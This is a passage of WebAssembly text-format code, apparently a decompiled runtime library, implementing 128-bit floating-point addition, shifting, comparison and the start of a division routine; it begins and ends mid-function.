(local.set $p4
(select
(i64.const 9223231299366420480)
(local.get $p2)
(local.tee $l6
(i64.eqz
(i64.or
(i64.xor
(local.get $p3)
(local.get $p1))
(i64.xor
(i64.xor
(local.get $p4)
(local.get $p2))
(i64.const -9223372036854775808)))))))
(local.set $p3
(select
(i64.const 0)
(local.get $p1)
(local.get $l6)))
(br $B0))
(br_if $B0
(i64.eqz
(i64.or
(local.get $p3)
(i64.xor
(local.get $l9)
(i64.const 9223090561878065152)))))
(block $B6
(br_if $B6
(i64.ne
(i64.or
(local.get $p1)
(local.get $l10))
(i64.const 0)))
(br_if $B0
(i64.ne
(i64.or
(local.get $p3)
(local.get $l9))
(i64.const 0)))
(local.set $p3
(i64.and
(local.get $p3)
(local.get $p1)))
(local.set $p4
(i64.and
(local.get $p4)
(local.get $p2)))
(br $B0))
(br_if $B1
(i32.eqz
(i64.eqz
(i64.or
(local.get $p3)
(local.get $l9)))))
(local.set $p3
(local.get $p1))
(local.set $p4
(local.get $p2))
(br $B0))
(local.set $l10
(select
(local.get $p3)
(local.get $p1)
(local.tee $l7
(select
(i64.gt_u
(local.get $p3)
(local.get $p1))
(i64.gt_u
(local.get $l9)
(local.get $l10))
(i64.eq
(local.get $l9)
(local.get $l10))))))
(local.set $l11
(i64.and
(local.tee $l9
(select
(local.get $p4)
(local.get $p2)
(local.get $l7)))
(i64.const 281474976710655)))
(local.set $l8
(i32.and
(i32.wrap_i64
(i64.shr_u
(local.tee $l12
(select
(local.get $p2)
(local.get $p4)
(local.get $l7)))
(i64.const 48)))
(i32.const 32767)))
(block $B7
(br_if $B7
(local.tee $l6
(i32.and
(i32.wrap_i64
(i64.shr_u
(local.get $l9)
(i64.const 48)))
(i32.const 32767))))
(call $f100
(i32.add
(local.get $l5)
(i32.const 96))
(local.get $l10)
(local.get $l11)
(i32.add
(local.tee $l6
(i32.wrap_i64
(i64.add
(i64.clz
(select
(local.get $l10)
(local.get $l11)
(local.tee $l6
(i64.eqz
(local.get $l11)))))
(i64.extend_i32_u
(i32.shl
(local.get $l6)
(i32.const 6))))))
(i32.const -15)))
(local.set $l6
(i32.sub
(i32.const 16)
(local.get $l6)))
(local.set $l11
(i64.load
(i32.add
(local.get $l5)
(i32.const 104))))
(local.set $l10
(i64.load offset=96
(local.get $l5))))
(local.set $p3
(select
(local.get $p1)
(local.get $p3)
(local.get $l7)))
(local.set $p4
(i64.and
(local.get $l12)
(i64.const 281474976710655)))
(block $B8
(br_if $B8
(local.get $l8))
(call $f100
(i32.add
(local.get $l5)
(i32.const 80))
(local.get $p3)
(local.get $p4)
(i32.add
(local.tee $l7
(i32.wrap_i64
(i64.add
(i64.clz
(select
(local.get $p3)
(local.get $p4)
(local.tee $l7
(i64.eqz
(local.get $p4)))))
(i64.extend_i32_u
(i32.shl
(local.get $l7)
(i32.const 6))))))
(i32.const -15)))
(local.set $l8
(i32.sub
(i32.const 16)
(local.get $l7)))
(local.set $p4
(i64.load
(i32.add
(local.get $l5)
(i32.const 88))))
(local.set $p3
(i64.load offset=80
(local.get $l5))))
(local.set $p2
(i64.or
(i64.or
(i64.shl
(local.get $p4)
(i64.const 3))
(i64.shr_u
(local.get $p3)
(i64.const 61)))
(i64.const 2251799813685248)))
(local.set $p4
(i64.or
(i64.shl
(local.get $l11)
(i64.const 3))
(i64.shr_u
(local.get $l10)
(i64.const 61))))
(local.set $p1
(i64.shl
(local.get $p3)
(i64.const 3)))
(local.set $p3
(i64.xor
(local.get $l9)
(local.get $l12)))
(block $B9
(br_if $B9
(i32.eq
(local.get $l6)
(local.get $l8)))
(block $B10
(br_if $B10
(i32.le_u
(local.tee $l7
(i32.sub
(local.get $l6)
(local.get $l8)))
(i32.const 127)))
(local.set $p2
(i64.const 0))
(local.set $p1
(i64.const 1))
(br $B9))
(call $f100
(i32.add
(local.get $l5)
(i32.const 64))
(local.get $p1)
(local.get $p2)
(i32.sub
(i32.const 128)
(local.get $l7)))
(call $f110
(i32.add
(local.get $l5)
(i32.const 48))
(local.get $p1)
(local.get $p2)
(local.get $l7))
(local.set $p1
(i64.or
(i64.load offset=48
(local.get $l5))
(i64.extend_i32_u
(i64.ne
(i64.or
(i64.load offset=64
(local.get $l5))
(i64.load
(i32.add
(i32.add
(local.get $l5)
(i32.const 64))
(i32.const 8))))
(i64.const 0)))))
(local.set $p2
(i64.load
(i32.add
(i32.add
(local.get $l5)
(i32.const 48))
(i32.const 8)))))
(local.set $l12
(i64.or
(local.get $p4)
(i64.const 2251799813685248)))
(local.set $l11
(i64.shl
(local.get $l10)
(i64.const 3)))
(block $B11
(block $B12
(br_if $B12
(i64.gt_s
(local.get $p3)
(i64.const -1)))
(local.set $p3
(i64.const 0))
(local.set $p4
(i64.const 0))
(br_if $B0
(i64.eqz
(i64.or
(i64.xor
(local.get $l11)
(local.get $p1))
(i64.xor
(local.get $l12)
(local.get $p2)))))
(local.set $l10
(i64.sub
(local.get $l11)
(local.get $p1)))
(br_if $B11
(i64.gt_u
(local.tee $p4
(i64.sub
(i64.sub
(local.get $l12)
(local.get $p2))
(i64.extend_i32_u
(i64.lt_u
(local.get $l11)
(local.get $p1)))))
(i64.const 2251799813685247)))
(call $f100
(i32.add
(local.get $l5)
(i32.const 32))
(local.get $l10)
(local.get $p4)
(local.tee $l7
(i32.add
(i32.wrap_i64
(i64.add
(i64.clz
(select
(local.get $l10)
(local.get $p4)
(local.tee $l7
(i64.eqz
(local.get $p4)))))
(i64.extend_i32_u
(i32.shl
(local.get $l7)
(i32.const 6)))))
(i32.const -12))))
(local.set $l6
(i32.sub
(local.get $l6)
(local.get $l7)))
(local.set $p4
(i64.load
(i32.add
(local.get $l5)
(i32.const 40))))
(local.set $l10
(i64.load offset=32
(local.get $l5)))
(br $B11))
(br_if $B11
(i64.eqz
(i64.and
(local.tee $p4
(i64.add
(i64.add
(local.get $p2)
(local.get $l12))
(i64.extend_i32_u
(i64.lt_u
(local.tee $l10
(i64.add
(local.get $p1)
(local.get $l11)))
(local.get $p1)))))
(i64.const 4503599627370496))))
(local.set $l10
(i64.or
(i64.or
(i64.shr_u
(local.get $l10)
(i64.const 1))
(i64.shl
(local.get $p4)
(i64.const 63)))
(i64.and
(local.get $l10)
(i64.const 1))))
(local.set $l6
(i32.add
(local.get $l6)
(i32.const 1)))
(local.set $p4
(i64.shr_u
(local.get $p4)
(i64.const 1))))
(local.set $p1
(i64.and
(local.get $l9)
(i64.const -9223372036854775808)))
(block $B13
(br_if $B13
(i32.lt_s
(local.get $l6)
(i32.const 32767)))
(local.set $p4
(i64.or
(local.get $p1)
(i64.const 9223090561878065152)))
(local.set $p3
(i64.const 0))
(br $B0))
(local.set $l7
(i32.const 0))
(block $B14
(block $B15
(br_if $B15
(i32.le_s
(local.get $l6)
(i32.const 0)))
(local.set $l7
(local.get $l6))
(br $B14))
(call $f100
(i32.add
(local.get $l5)
(i32.const 16))
(local.get $l10)
(local.get $p4)
(i32.add
(local.get $l6)
(i32.const 127)))
(call $f110
(local.get $l5)
(local.get $l10)
(local.get $p4)
(i32.sub
(i32.const 1)
(local.get $l6)))
(local.set $l10
(i64.or
(i64.load
(local.get $l5))
(i64.extend_i32_u
(i64.ne
(i64.or
(i64.load offset=16
(local.get $l5))
(i64.load
(i32.add
(i32.add
(local.get $l5)
(i32.const 16))
(i32.const 8))))
(i64.const 0)))))
(local.set $p4
(i64.load
(i32.add
(local.get $l5)
(i32.const 8)))))
(local.set $p3
(i64.or
(i64.shr_u
(local.get $l10)
(i64.const 3))
(i64.shl
(local.get $p4)
(i64.const 61))))
(local.set $p4
(i64.or
(i64.or
(i64.shl
(i64.extend_i32_u
(local.get $l7))
(i64.const 48))
(i64.and
(i64.shr_u
(local.get $p4)
(i64.const 3))
(i64.const 281474976710655)))
(local.get $p1)))
(local.set $l6
(i32.and
(i32.wrap_i64
(local.get $l10))
(i32.const 7)))
(block $B16
(block $B17
(block $B18
(block $B19
(block $B20
(br_table $B20 $B19 $B18 $B17
(call $f108)))
(local.set $p4
(i64.add
(local.get $p4)
(i64.extend_i32_u
(i64.lt_u
(local.tee $l10
(i64.add
(local.get $p3)
(i64.extend_i32_u
(i32.gt_u
(local.get $l6)
(i32.const 4)))))
(local.get $p3)))))
(block $B21
(br_if $B21
(i32.eq
(local.get $l6)
(i32.const 4)))
(local.set $p3
(local.get $l10))
(br $B17))
(local.set $p4
(i64.add
(local.get $p4)
(i64.extend_i32_u
(i64.lt_u
(local.tee $p3
(i64.add
(local.tee $p1
(i64.and
(local.get $l10)
(i64.const 1)))
(local.get $l10)))
(local.get $p1)))))
(br $B16))
(local.set $p4
(i64.add
(local.get $p4)
(i64.extend_i32_u
(i64.lt_u
(local.tee $l10
(i64.add
(local.get $p3)
(i64.extend_i32_u
(i32.and
(i64.ne
(local.get $p1)
(i64.const 0))
(i32.ne
(local.get $l6)
(i32.const 0))))))
(local.get $p3)))))
(local.set $p3
(local.get $l10))
(br $B17))
(local.set $p4
(i64.add
(local.get $p4)
(i64.extend_i32_u
(i64.lt_u
(local.tee $l10
(i64.add
(local.get $p3)
(i64.extend_i32_u
(i32.and
(i64.eqz
(local.get $p1))
(i32.ne
(local.get $l6)
(i32.const 0))))))
(local.get $p3)))))
(local.set $p3
(local.get $l10)))
(br_if $B0
(i32.eqz
(local.get $l6))))
(drop
(call $f109)))
(i64.store
(local.get $p0)
(local.get $p3))
(i64.store offset=8
(local.get $p0)
(local.get $p4))
(global.set $g0
(i32.add
(local.get $l5)
(i32.const 112))))
(func $f100 (type $t10) (param $p0 i32) (param $p1 i64) (param $p2 i64) (param $p3 i32)
(local $l4 i64)
(block $B0
(block $B1
(br_if $B1
(i32.eqz
(i32.and
(local.get $p3)
(i32.const 64))))
(local.set $p2
(i64.shl
(local.get $p1)
(i64.extend_i32_u
(i32.add
(local.get $p3)
(i32.const -64)))))
(local.set $p1
(i64.const 0))
(br $B0))
(br_if $B0
(i32.eqz
(local.get $p3)))
(local.set $p2
(i64.or
(i64.shr_u
(local.get $p1)
(i64.extend_i32_u
(i32.sub
(i32.const 64)
(local.get $p3))))
(i64.shl
(local.get $p2)
(local.tee $l4
(i64.extend_i32_u
(local.get $p3))))))
(local.set $p1
(i64.shl
(local.get $p1)
(local.get $l4))))
(i64.store
(local.get $p0)
(local.get $p1))
(i64.store offset=8
(local.get $p0)
(local.get $p2)))
(func $f101 (type $t15) (param $p0 i64) (param $p1 i64) (param $p2 i64) (param $p3 i64) (result i32)
(local $l4 i32) (local $l5 i64) (local $l6 i64)
(local.set $l4
(i32.const 1))
(block $B0
(br_if $B0
(select
(i64.ne
(local.get $p0)
(i64.const 0))
(i64.gt_u
(local.tee $l5
(i64.and
(local.get $p1)
(i64.const 9223372036854775807)))
(i64.const 9223090561878065152))
(i64.eq
(local.get $l5)
(i64.const 9223090561878065152))))
(br_if $B0
(select
(i64.ne
(local.get $p2)
(i64.const 0))
(i64.gt_u
(local.tee $l6
(i64.and
(local.get $p3)
(i64.const 9223372036854775807)))
(i64.const 9223090561878065152))
(i64.eq
(local.get $l6)
(i64.const 9223090561878065152))))
(block $B1
(br_if $B1
(i32.eqz
(i64.eqz
(i64.or
(i64.or
(local.get $p2)
(local.get $p0))
(i64.or
(local.get $l6)
(local.get $l5))))))
(return
(i32.const 0)))
(block $B2
(br_if $B2
(i64.lt_s
(i64.and
(local.get $p3)
(local.get $p1))
(i64.const 0)))
(local.set $l4
(i32.const -1))
(br_if $B0
(select
(i64.lt_u
(local.get $p0)
(local.get $p2))
(i64.lt_s
(local.get $p1)
(local.get $p3))
(i64.eq
(local.get $p1)
(local.get $p3))))
(return
(i64.ne
(i64.or
(i64.xor
(local.get $p0)
(local.get $p2))
(i64.xor
(local.get $p1)
(local.get $p3)))
(i64.const 0))))
(local.set $l4
(i32.const -1))
(br_if $B0
(select
(i64.gt_u
(local.get $p0)
(local.get $p2))
(i64.gt_s
(local.get $p1)
(local.get $p3))
(i64.eq
(local.get $p1)
(local.get $p3))))
(local.set $l4
(i64.ne
(i64.or
(i64.xor
(local.get $p0)
(local.get $p2))
(i64.xor
(local.get $p1)
(local.get $p3)))
(i64.const 0))))
(local.get $l4))
(func $f102 (type $t15) (param $p0 i64) (param $p1 i64) (param $p2 i64) (param $p3 i64) (result i32)
(local $l4 i32) (local $l5 i64) (local $l6 i64)
(local.set $l4
(i32.const -1))
(block $B0
(br_if $B0
(select
(i64.ne
(local.get $p0)
(i64.const 0))
(i64.gt_u
(local.tee $l5
(i64.and
(local.get $p1)
(i64.const 9223372036854775807)))
(i64.const 9223090561878065152))
(i64.eq
(local.get $l5)
(i64.const 9223090561878065152))))
(br_if $B0
(select
(i64.ne
(local.get $p2)
(i64.const 0))
(i64.gt_u
(local.tee $l6
(i64.and
(local.get $p3)
(i64.const 9223372036854775807)))
(i64.const 9223090561878065152))
(i64.eq
(local.get $l6)
(i64.const 9223090561878065152))))
(block $B1
(br_if $B1
(i32.eqz
(i64.eqz
(i64.or
(i64.or
(local.get $p2)
(local.get $p0))
(i64.or
(local.get $l6)
(local.get $l5))))))
(return
(i32.const 0)))
(block $B2
(br_if $B2
(i64.lt_s
(i64.and
(local.get $p3)
(local.get $p1))
(i64.const 0)))
(br_if $B0
(select
(i64.lt_u
(local.get $p0)
(local.get $p2))
(i64.lt_s
(local.get $p1)
(local.get $p3))
(i64.eq
(local.get $p1)
(local.get $p3))))
(return
(i64.ne
(i64.or
(i64.xor
(local.get $p0)
(local.get $p2))
(i64.xor
(local.get $p1)
(local.get $p3)))
(i64.const 0))))
(br_if $B0
(select
(i64.gt_u
(local.get $p0)
(local.get $p2))
(i64.gt_s
(local.get $p1)
(local.get $p3))
(i64.eq
(local.get $p1)
(local.get $p3))))
(local.set $l4
(i64.ne
(i64.or
(i64.xor
(local.get $p0)
(local.get $p2))
(i64.xor
(local.get $p1)
(local.get $p3)))
(i64.const 0))))
(local.get $l4))
(func $f103 (type $t6) (param $p0 i32) (param $p1 i64) (param $p2 i64) (param $p3 i64) (param $p4 i64)
(local $l5 i32) (local $l6 i32) (local $l7 i32) (local $l8 i32) (local $l9 i32) (local $l10 i64) (local $l11 i64) (local $l12 i64) (local $l13 i64) (local $l14 i64) (local $l15 i64) (local $l16 i64) (local $l17 i64) (local $l18 i64) (local $l19 i64) (local $l20 i64) (local $l21 i64) (local $l22 i64) (local $l23 i64)
(global.set $g0
(local.tee $l5
(i32.sub
(global.get $g0)
(i32.const 336))))
(local.set $l10
(i64.and
(local.get $p4)
(i64.const 281474976710655)))
(local.set $l11
(i64.and
(local.get $p2)
(i64.const 281474976710655)))
(local.set $l12
(i64.and
(i64.xor
(local.get $p4)
(local.get $p2))
(i64.const -9223372036854775808)))
(local.set $l6
(i32.and
(i32.wrap_i64
(i64.shr_u
(local.get $p4)
(i64.const 48)))
(i32.const 32767)))
(block $B0
(block $B1
(block $B2
(br_if $B2
(i32.lt_u
(i32.add
(local.tee $l7
(i32.and
(i32.wrap_i64
(i64.shr_u
(local.get $p2)
(i64.const 48)))
(i32.const 32767)))
(i32.const -32767))
(i32.const -32766)))
(local.set $l8
(i32.const 0))
(br_if $B1
(i32.gt_u
(i32.add
(local.get $l6)
(i32.const -32767))
(i32.const -32767))))
(block $B3
(br_if $B3
(select
(i64.eqz
(local.get $p1))
(i64.lt_u
(local.tee $l13
(i64.and
(local.get $p2)
(i64.const 9223372036854775807)))
(i64.const 9223090561878065152))
(i64.eq
(local.get $l13)
(i64.const 9223090561878065152))))
(local.set $l12
(i64.or
(local.get $p2)
(i64.const 140737488355328)))
(br $B0))
(block $B4
(br_if $B4
(select
(i64.eqz
(local.get $p3))
(i64.lt_u
(local.tee $p2
(i64.and
(local.get $p4)
(i64.const 9223372036854775807)))
(i64.const 9223090561878065152))
(i64.eq
(local.get $p2)
(i64.const 9223090561878065152))))
(local.set $l12
(i64.or
(local.get $p4)
(i64.const 140737488355328)))
(local.set $p1
(local.get $p3))
(br $B0))
(block $B5
(br_if $B5
(i64.ne
(i64.or
(local.get $p1)
(i64.xor
(local.get $l13)
(i64.const 9223090561878065152)))
(i64.const 0)))
(block $B6
(br_if $B6
(i32.eqz
(i64.eqz
(i64.or
(local.get $p3)
(i64.xor
(local.get $p2)
(i64.const 9223090561878065152))))))
(local.set $p1
(i64.const 0))
(local.set $l12
(i64.const 9223231299366420480))
(br $B0))
(local.set $l12
(i64.or
(local.get $l12)
(i64.const 9223090561878065152)))
(local.set $p1
(i64.const 0))
(br $B0))
(block $B7
(br_if $B7
(i64.ne
(i64.or
(local.get $p3)
(i64.xor
(local.get $p2)
(i64.const 9223090561878065152)))
(i64.const 0)))
(local.set $p1
(i64.const 0))
(br $B0))
(block $B8
(br_if $B8
(i64.ne
(i64.or
(local.get $p1)
(local.get $l13))
(i64.const 0)))
(local.set $l12
(select
(i64.const 9223231299366420480)
(local.get $l12)
(i64.eqz
(i64.or
(local.get $p3)
(local.get $p2)))))
(local.set $p1
(i64.const 0))
(br $B0))
(block $B9
(br_if $B9
(i64.ne
(i64.or
(local.get $p3)
(local.get $p2))
(i64.const 0)))
(local.set $l12
(i64.or
(local.get $l12)
(i64.const 9223090561878065152)))
(local.set $p1
(i64.const 0))
(br $B0))
(local.set $l8
(i32.const 0))
(block $B10
(br_if $B10
(i64.gt_u
(local.get $l13)
(i64.const 281474976710655)))
(call $f100
(i32.add
(local.get $l5)
(i32.const 320))
(local.get $p1)
(local.get $l11)
(i32.add
(local.tee $l8
(i32.wrap_i64
(i64.add
(i64.clz
(select
(local.get $p1)
(local.get $l11)
(local.tee $l8
(i64.eqz
(local.get $l11)))))
(i64.extend_i32_u
(i32.shl
(local.get $l8)
(i32.const 6))))))
(i32.const -15)))
(local.set $l8
(i32.sub
(i32.const 16)
(local.get $l8)))
(local.set $l11
(i64.load
(i32.add
(local.get $l5)
(i32.const 328))))
(local.set $p1
(i64.load offset=320
(local.get $l5))))
(br_if $B1
(i64.gt_u
(local.get $p2)
(i64.const 281474976710655)))
(call $f100
(i32.add
(local.get $l5)
(i32.const 304))
(local.get $p3)
(local.get $l10)
(i32.add
(local.tee $l9
(i32.wrap_i64
(i64.add
(i64.clz
(select
(local.get $p3)
(local.get $l10)
(local.tee $l9
(i64.eqz
(local.get $l10)))))
(i64.extend_i32_u
(i32.shl
(local.get $l9)
(i32.const 6))))))
(i32.const -15)))
(local.set $l8
(i32.add
(i32.add
(local.get $l9)
(local.get $l8))
(i32.const -16)))
(local.set $l10
(i64.load
(i32.add
(local.get $l5)
(i32.const 312))))
(local.set $p3
(i64.load offset=304
(local.get $l5))))
(call $f112
(i32.add
(local.get $l5)
(i32.const 288))
(local.tee $p2
(i64.or
(i64.shr_u
(local.get $p3)
(i64.const 49))
(i64.shl
(local.tee $l14
(i64.or
(local.get $l10)
(i64.const 281474976710656)))
(i64.const 15))))
(i64.const 0)
(local.tee $p4
(i64.sub
(i64.const 8432131802713292800)
(local.get $p2)))
(i64.const 0))
(call $f112
(i32.add
(local.get $l5)
(i32.const 272))
(i64.sub
(i64.const 0)
(i64.load
(i32.add
(i32.add
(local.get $l5)
(i32.const 288))
(i32.const 8))))
(i64.const 0)
(local.get $p4)
(i64.const 0))
(call $f112
(i32.add
(local.get $l5)
(i32.const 256))
(local.tee $p4
(i64.or
(i64.shr_u
(i64.load offset=272
(local.get $l5))
(i64.const 63))
(i64.shl
(i64.load
(i32.add
(i32.add
(local.get $l5)
(i32.const 272))
(i32.const 8)))
(i64.const 1))))
(i64.const 0)
(local.get $p2)
(i64.const 0))
(call $f112
(i32.add
(local.get $l5)
(i32.const 240))
(local.get $p4)
(i64.const 0)
(i64.sub
(i64.const 0)
(i64.load
(i32.add
(i32.add
(local.get $l5)
(i32.const 256))
(i32.const 8))))
(i64.const 0))
(call $f112
(i32.add
(local.get $l5)
(i32.const 224))
(local.tee $p4
(i64.or
(i64.shr_u
(i64.load offset=240
(local.get $l5))
(i64.const 63))
(i64.shl
(i64.load
(i32.add
(i32.add
(local.get $l5)
(i32.const 240))
(i32.const 8)))
(i64.const 1))))
(i64.const 0)
(local.get $p2)
(i64.const 0))
(call $f112
(i32.add
(local.get $l5)
(i32.const 208))
(local.get $p4)
(i64.const 0)
(i64.sub
(i64.const 0)
(i64.load
(i32.add
(i32.add
(local.get $l5)
(i32.const 224))
(i32.const 8))))
(i64.const 0))
(call $f112
(i32.add
(local.get $l5)
(i32.const 192))
(local.tee $p4
(i64.or
(i64.shr_u
(i64.load offset=208
(local.get $l5))
(i64.const 63))
(i64.shl
(i64.load
(i32.add
(i32.add
(local.get $l5)
(i32.const 208))
(i32.const 8)))
(i64.const 1))))
(i64.const 0)
(local.get $p2)
(i64.const 0))
(call $f112
(i32.add
(local.get $l5)
(i32.const 176))
(local.get $p4)
(i64.const 0)
(i64.sub
(i64.const 0)
(i64.load
(i32.add
(i32.add
(local.get $l5)
(i32.const 192))
(i32.const 8))))
(i64.const 0))
(call $f112
(i32.add
(local.get $l5)
(i32.const 160))
(local.get $p2)
(i64.const 0)
(local.tee $p4
(i64.add
(i64.or
(i64.shr_u
(i64.load offset=176
(local.get $l5))
(i64.const 63))
(i64.shl
(i64.load
(i32.add
(i32.add
(local.get $l5)
(i32.const 176))
(i32.const 8)))
(i64.const 1)))
(i64.const -1)))
(i64.const 0))
(call $f112
(i32.add
(local.get $l5)
(i32.const 144))
(i64.shl
(local.get $p3)
(i64.const 15))
(i64.const 0)
(local.get $p4)
(i64.const 0))
(call $f112
(i32.add
(local.get $l5)
(i32.const 112))
(local.get $p4)
(i64.const 0)
(i64.sub
(i64.const 0)
(i64.add
(i64.add
(i64.load
(i32.add
(i32.add
(local.get $l5)
(i32.const 160))
(i32.const 8)))
(i64.extend_i32_u
(i64.lt_u
(local.tee $p2
(i64.add
(local.tee $l10
(i64.load offset=160
(local.get $l5)))
(i64.load
(i32.add
(i32.add
(local.get $l5)
(i32.const 144))
(i32.const 8)))))
(local.get $l10))))
(i64.extend_i32_u
(i64.gt_u
(local.get $p2)
(i64.const 1)))))
(i64.const 0))
(call $f112
(i32.add
(local.get $l5)
(i32.const 128))
(i64.sub
(i64.const 1)
(local.get $p2))
(i64.const 0)
(local.get $p4)
(i64.const 0))
(local.set $l6
(i32.add
(local.get $l8)
(i32.sub
(local.get $l7)
(local.get $l6))))
(block $B11
(block $B12
(br_if $B12
(i64.gt_u
(local.tee $p4
(i64.add
(i64.add
(i64.add
(i64.add
(i64.add
(i64.add
(i64.add
(i64.extend_i32_u
(i64.lt_u
(local.tee $l16
(i64.add
(local.tee $l11
(i64.mul
(local.tee $p2
(i64.shr_u
(local.tee $l18
(i64.add
(local.tee $l13
(i64.add
(local.tee $l16
(i64.shl
(local.tee $l15
(i64.load offset=112
(local.get $l5)))
(i64.const 1)))
(i64.or
(i64.shr_u
(i64.load offset=128
(local.get $l5))
(i64.const 63))
(i64.shl
(local.tee $l17
(i64.load
(i32.add
(i32.add
(local.get $l5)
(i32.const 128))
(i32.const 8))))
(i64.const 1)))))
(i64.const -13927)))
(i64.const 32)))
(local.tee $p4
(i64.shr_u
(local.tee $l20
(i64.or
(i64.shl
(local.tee $l19
(i64.or
(local.get $l11)
(i64.const 281474976710656)))
(i64.const 1))
(i64.shr_u
(local.get $p1)
(i64.const 63))))
(i64.const 32)))))
(i64.mul
(local.tee $l10
(i64.shr_u
(local.tee $l21
(i64.shl
(local.get $p1)
(i64.const 1)))
(i64.const 32)))
(local.tee $l13
(i64.shr_u
(local.tee $l15
(i64.add
(i64.add
(i64.add
(i64.add
(i64.or
(i64.shl
(i64.load
(i32.add
(i32.add
(local.get $l5)
(i32.const 112))
(i32.const 8)))
(i64.const 1))
(i64.shr_u
(local.get $l15)
(i64.const 63)))
(i64.shr_u
(local.get $l17)
(i64.const 63)))
(i64.extend_i32_u
(i64.lt_u
(local.get $l13)
(local.get $l16))))
(i64.extend_i32_u
(i64.lt_u
(local.get $l18)
(local.get $l13))))
(i64.const -1)))
(i64.const 32))))))
(local.get $l11)))
(i64.extend_i32_u
(i64.lt_u
(local.tee $l17
(i64.add
(local.get $l16)
(i64.mul
(local.tee $l11
(i64.and
(local.get $l15)
(i64.const 4294967295)))
(local.tee $l15
(i64.and
(local.get $l20)
(i64.const 4294967295))))))
(local.get $l16))))
(i64.mul
(local.get $l13)
(local.get $p4)))
(i64.or
(i64.shl
(i64.extend_i32_u
(i64.lt_u
(local.tee $l16
(i64.add
(local.tee $l22
(i64.mul
(local.get $l11)
(local.get $p4)))
(i64.mul
(local.get $l15)
(local.get $l13))))
(local.get $l22)))
(i64.const 32))
(i64.shr_u
(local.get $l16)
(i64.const 32))))
(i64.extend_i32_u
(i64.lt_u
(local.tee $l16
(i64.add
(local.get $l17)
(i64.shl
(local.get $l16)
(i64.const 32))))
(local.get $l17))))
(i64.extend_i32_u
(i64.lt_u
(local.tee $l17
(i64.add
(local.get $l16)
(i64.add
(i64.extend_i32_u
(i64.lt_u
(local.tee $l17
(i64.add
(local.tee $l22
(i64.mul
(local.tee $l18
(i64.and
(local.get $l18)
(i64.const 4294967295)))
(local.get $l15)))
(i64.mul
(local.get $p2)
(local.get $l10))))
(local.get $l22)))
(i64.extend_i32_u
(i64.lt_u
(local.tee $l23
(i64.add
(local.get $l17)
(i64.mul
(local.get $l11)
(local.tee $l22
(i64.and
(local.get $l21)
(i64.const 4294967294))))))
(local.get $l17))))))
(local.get $l16))))
(i64.extend_i32_u
(i64.lt_u
(local.tee $p4
(i64.add
(local.get $l17)
(i64.or
(i64.shr_u
(local.tee $l11
(i64.add
(local.tee $l13
(i64.add
(local.tee $p4
(i64.add
(local.tee $l16
(i64.mul
(local.get $l18)
(local.get $p4)))
(i64.mul
(local.get $l22)
(local.get $l13))))
(i64.mul
(local.get $p2)
(local.get $l15))))
(i64.mul
(local.get $l11)
(local.get $l10))))
(i64.const 32))
(i64.shl
(i64.add
(i64.add
(i64.extend_i32_u
(i64.lt_u
(local.get $p4)
(local.get $l16)))
(i64.extend_i32_u
(i64.lt_u
(local.get $l13)
(local.get $p4))))
(i64.extend_i32_u
(i64.lt_u
(local.get $l11)
(local.get $l13))))
(i64.const 32)))))
(local.get $l17))))
(i64.extend_i32_u
(i64.lt_u
(local.tee $p2
(i64.add
(local.get $p4)
(i64.add
(i64.extend_i32_u
(i64.lt_u
(local.tee $p2
(i64.add
(local.get $l23)
(i64.or
(i64.shr_u
(local.tee $l10
(i64.add
(local.tee $p2
(i64.mul
(local.get $p2)
(local.get $l22)))
(i64.mul
(local.get $l18)
(local.get $l10))))
(i64.const 32))
(i64.shl
(i64.extend_i32_u
(i64.lt_u
(local.get $l10)
(local.get $p2)))
(i64.const 32)))))
(local.get $l23)))
(i64.extend_i32_u
(i64.lt_u
(i64.add
(local.get $p2)
(i64.shl
(local.get $l11)
(i64.const 32)))
(local.get $p2))))))
(local.get $p4)))))
(i64.const 562949953421311)))
(call $f112
(i32.add
(local.get $l5)
(i32.const 80))
(local.get $p2)
(local.get $p4)
(local.get $p3)
(local.get $l14))
(local.set $l13
(i64.sub
(i64.sub
(i64.shl
(local.get $p1)
(i64.const 49))
(i64.load
(i32.add
(i32.add
(local.get $l5)
(i32.const 80))
(i32.const 8))))
(i64.extend_i32_u
(i64.ne
(local.tee $p1
(i64.load offset=80
(local.get $l5)))
(i64.const 0)))))
(local.set $l6
(i32.add
(local.get $l6)
(i32.const 16382)))
(local.set $l10
(i64.sub
(i64.const 0)
(local.get $p1)))
(br $B11))
(call $f112
(i32.add
(local.get $l5)
(i32.const 96))
(local.tee $p2
(i64.or
(i64.shr_u
(local.get $p2)
(i64.const 1))
(i64.shl
(local.get $p4)
(i64.const 63))))
(local.tee $p4
(i64.shr_u
(local.get $p4)
(i64.const 1)))
(local.get $p3)
(local.get $l14))
(local.set $l13
(i64.sub
(i64.sub
(i64.shl
(local.get $p1)
(i64.const 48))
(i64.load
(i32.add
(i32.add
(local.get $l5)
(i32.const 96))
(i32.const 8))))
(i64.extend_i32_u
(i64.ne
(local.tee $l10
(i64.load offset=96
(local.get $l5)))
(i64.const 0)))))
(local.set $l6
(i32.add
(local.get $l6)
(i32.const 16383)))
(local.set $l10
(i64.sub
(i64.const 0)
(local.get $l10)))
(local.set $l21
(local.get $p1))
(local.set $l20
(local.get $l19)))
(block $B13
(br_if $B13
(i32.lt_s
(local.get $l6)
(i32.const 32767)))
(local.set $l12
(i64.or
(local.get $l12)
(i64.const 9223090561878065152)))
(local.set $p1
(i64.const 0))
(br $B0))
(block $B14
(block $B15
(br_if $B15
(i32.lt_s
(local.get $l6)
(i32.const 1)))
(local.set $l13
(i64.or
(i64.shl
(local.get $l13)
(i64.const 1))
(i64.shr_u
(local.get $l10)
(i64.const 63))))
(local.set $l11
(i64.or
(i64.shl
(i64.extend_i32_u
(local.get $l6))
(i64.const 48))
(i64.and
(local.get $p4)
(i64.const 281474976710655))))
(local.set $p4
(i64.shl
(local.get $l10)
(i64.const 1)))
(br $B14))
(block $B16
(br_if $B16
(i32.gt_s
(local.get $l6)
(i32.const -113)))
(local.set $p1
(i64.const 0))
(br $B0))
(call $f110
(i32.add
(local.get $l5)
(i32.const 64))
(local.get $p2)
(local.get $p4)
(i32.sub
(i32.const 1)
(local.get $l6)))
(call $f100
(i32.add
(local.get $l5)
(i32.const 48))
(local.get $l21)
(local.get $l20)
(i32.add
(local.get $l6)
(i32.const 112)))
(call $f112
(i32.add
(local.get $l5)
(i32.const 32))
(local.get $p3)
(local.get $l14)
(local.tee $p2
(i64.load offset=64
(local.get $l5)))
(local.tee $l11
(i64.load
(i32.add
(i32.add
(local.get $l5)
(i32.const 64))
(i32.const 8)))))
(local.set $l13
(i64.sub
(i64.sub
(i64.load
(i32.add
(i32.add
(local.get $l5)
(i32.const 48))
(i32.const 8)))
